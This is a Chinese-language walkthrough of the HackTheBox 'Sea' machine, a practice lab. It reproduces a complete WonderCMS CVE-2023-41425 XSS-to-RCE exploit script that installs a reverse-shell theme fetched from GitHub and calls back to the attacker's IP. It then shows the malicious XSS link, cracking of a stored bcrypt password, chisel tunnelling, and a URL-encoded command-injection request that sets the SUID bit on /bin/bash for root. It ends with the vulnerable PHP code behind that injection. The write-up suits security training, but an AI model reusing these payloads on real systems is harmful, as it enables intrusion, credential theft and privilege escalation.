HacktheBox-Sea

信息搜集

简单扫下:

1
2
3
4
5
6
start infoscan
10.10.11.28:80 open
10.10.11.28:22 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.10.11.28 code:200 len:3670 title:Sea - Home

进入 80 页面,简单浏览发现页面 :
http://sea.htb/contact.php
添加下 host,然后访问,根据源代码中的主要路由:
Clip_2024-08-14_19-44-21.png
可以知道这是主题文件,可以尝试访问 README.md

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# WonderCMS bike theme

## Description
Includes animations.

## Author: turboblack

## Preview
![Theme preview](/preview.jpg)

## How to use
1. Login to your WonderCMS website.
2. Click "Settings" and click "Themes".
3. Find theme in the list and click "install".
4. In the "General" tab, select theme to activate it.

可以知道 CMS 名称:WonderCMS

CVE-2023-41425 XSS + RCE

CVE-2023-41425 Public Disclosure

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# Exploit: WonderCMS XSS to RCE
import sys
import requests
import os
import bs4

if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")
else:
data = '''
var url = "'''+str(sys.argv[1])+'''";
if (url.endsWith("/")) {
url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).pathname;
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
if (xhr3.status == 200) {
var xhr4 = new XMLHttpRequest();
xhr4.withCredentials = true;
xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
xhr4.send();
xhr4.onload = function() {
if (xhr4.status == 200) {
var ip = "'''+str(sys.argv[2])+'''";
var port = "'''+str(sys.argv[3])+'''";
var xhr5 = new XMLHttpRequest();
xhr5.withCredentials = true;
xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
xhr5.send();

}
};
}
};
'''
try:
open("xss.js","w").write(data)
print("[+] xss.js is created")
print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))
print("----------------------------\n")
XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
XSSlink = XSSlink.strip(" ")
print("send the below link to admin:\n\n----------------------------\n"+XSSlink)
print("----------------------------\n")

print("\nstarting HTTP server to allow the access to xss.js")
os.system("python3 -m http.server\n")
except: print(data,"\n","//write this to a file")

看了下,是通过 xss 来实现的 rce。输入参数运行脚本。

1
python3 wonderCMS.py "http://sea.htb/index.php?page=loginURL" 10.10.14.91 7777

然后返回contact.phpwebsite 输入它提供的地址:

1
http://sea.htb/index.php?page=index.php?page=loginURL?"></form><script+src="http://10.10.14.91:8000/xss.js"></script><form+action="

Clip_2024-08-14_20-02-35.png
提交后能接到下载。
Clip_2024-08-14_20-04-35.png
然后再访问对应地址:

1
http://10.10.11.28/themes/revshell-main/rev.php?lhost=10.10.14.91&lport=7777

就能接到 shell 了:
Clip_2024-08-14_20-07-27.png
找到配置文件:

1
2
cat /var/www/sea/data/database.js | grep password
"password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",

尝试用 hashcat 爆破。

1
2
hashcat '$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q' -m 3200 /usr/share/wordlists/rockyou.txt --show
$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance

home 下两个用户amaygeo,尝试登录,amay 下成功登录。
Clip_2024-08-14_20-22-22.png
f533f0492a74f766f24db5a6e7ee9d2c

内网穿透 + 权限借用

1
netstat -ano

查看开放端口服务发现内网中有一个 8080 端口:
Clip_2024-08-14_21-54-12.png

GitHub - jpillora/chisel: A fast TCP/UDP tunnel over HTTP

把这个内网穿透软件传到对应主机下。

1
2
3
python3 -m http.server 80
wget 10.10.14.91/chisel
chmod +x ./chisel

然后本地服务端端和远程客户端分别运行服务:

1
2
./chisel server -port 9292 --reverse
./chisel client -v 10.10.14.91:9292 R:9090:127.0.0.1:8080

Clip_2024-08-14_20-37-05.png
然后访问127.0.0.1:9090,登录账号密码就是amay/mychemicalromance
Clip_2024-08-14_20-39-06.png
然后抓包。
Clip_2024-08-14_20-41-19.png
这里有个命令拼接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST / HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: http://127.0.0.1:9090
Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==
Connection: close
Referer: http://127.0.0.1:9090/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 124



log_file=%2f%72%6f%6f%74%2f%72%6f%6f%74%2e%74%78%74%3b%63%68%6d%6f%64%20%75%2b%73%20%2f%62%69%6e%2f%62%61%73%68&analyze_log=

最后这里用的是/root/root.txt;chmod u+s /bin/bash(或者把u+su去掉也可以),然后回到 ssh 处 bash -p 就可以执行了:
Clip_2024-08-14_21-49-42.png
这里的u+s的作用就是将用户运行这个文件时,以用户拥有者的身份运行。既然能看日志,那就说明有 root权限。然后权限借用。
但是这里不知道为什么后面再 ssh 连接时,登录的账户变成了:-bash-
Clip_2024-08-14_21-53-29.png

BeyondRoot

拿到 root 后可以看下 Geo 这个用户的 home 下有个 script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import os
import asyncio
from pyppeteer import launch
import requests

async def XSS(page, url):
login_url = 'http://127.0.0.1/loginURL'
headers = {'host': 'sea.htb'}
data = {'password': 'mychemicalromance'}

response = requests.post(login_url, data=data, headers=headers, allow_redirects=False)
cookie = response.headers.get('Set-Cookie')
cookie = cookie.split(';')
cookie = cookie[1].split('=')[2]
cookie = {'name': 'PHPSESSID', 'value': cookie, 'domain': 'sea.htb'}
await page.setCookie(cookie)
try:
await page.goto(url)
content = await page.content()
except Exception as e:
print(f"[!] Failed at goto. {e}")

async def main():
browser = await launch(headless=True, args=['--no-sandbox'])
page = await browser.newPage()
directory_path = "/var/www/sea/messages/"

while True:
files = os.listdir(directory_path)
message_files = [file for file in files if file.endswith(".txt")]

urls = []
for file in message_files:
try:
file_path = os.path.join(directory_path, file)
with open(file_path, 'r') as f:
lines = f.readlines()
for line in lines:
if line.startswith("Website:"):
website = line.strip().split(": ")[1]
urls.append(website)
except:
print(f"[!] Failed to process {file}")

for url in urls:
try:
await XSS(page, url)
except:
print("[!] Failed at XSS")

os.system(f"rm -f {directory_path}*")
await asyncio.sleep(60)

asyncio.get_event_loop().run_until_complete(main())

用来模拟 XSS。然后再看下内网的这个 php 页面:
是这样来找到位置的:

1
2
ps -aux | grep php
root 1111 0.0 0.6 208808 26436 ? Ss 13:28 0:00 /usr/bin/php -S localhost:8080 -t /root/monitoring

主要的 php 代码就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if (isset($_POST['analyze_log'])) {
$log_file = $_POST['log_file'];

$suspicious_traffic = system("cat $log_file | grep -i 'sql\|exec\|wget\|curl\|whoami\|system\|shell_exec\|ls\|dir'");
if (!empty($suspicious_traffic)) {
echo "<p class='error'>Suspicious traffic patterns detected in $log_file:</p>";
echo "<pre>$suspicious_traffic</pre>";
} else {
echo "<p>No suspicious traffic patterns detected in $log_file.</p>";
}
}
?>